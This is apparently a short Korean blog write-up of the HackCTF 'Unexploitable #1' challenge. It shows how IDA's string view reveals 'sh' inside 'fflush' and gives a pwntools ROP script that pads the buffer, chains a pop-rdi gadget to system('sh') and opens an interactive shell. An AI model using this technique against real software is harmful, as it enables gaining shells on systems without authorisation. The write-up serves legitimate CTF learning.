티스토리 뷰
ida에서 shift + f12로 string들을 볼 수 있다.
이 문자열들을 이용하면 익스짜는데 시간단축이 될 수도 있다.
그 예로 hackctf Unexploitable 1번을 풀 수 있다.
[HackCTF] Unexploitable #1
hackctf에 있는 unexp 1번이다.
string에 함수 fflush가 들어가있고
fflu 'sh'를 이용해서 system('sh')을 실행시킬 수 있다.
len('fflu')는 4개이니 4 byte만 더해주면 문자열은 'sh\x00'을 가르킬 것이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
from pwn import *
#context.log_level = 'debug'
#p = process('Unexploitable_1')
e = ELF('Unexploitable_1')
l = e.libc
prdi = 0x00000000004007d3
sh = 0x00000000004003BB + 4
sys = e.plt['system']
pay = "A"*0x18
pay += p64(prdi)
pay += p64(sh)
pay += p64(sys)
p.recv()
p.sendline(pay)
p.interactive()
|
댓글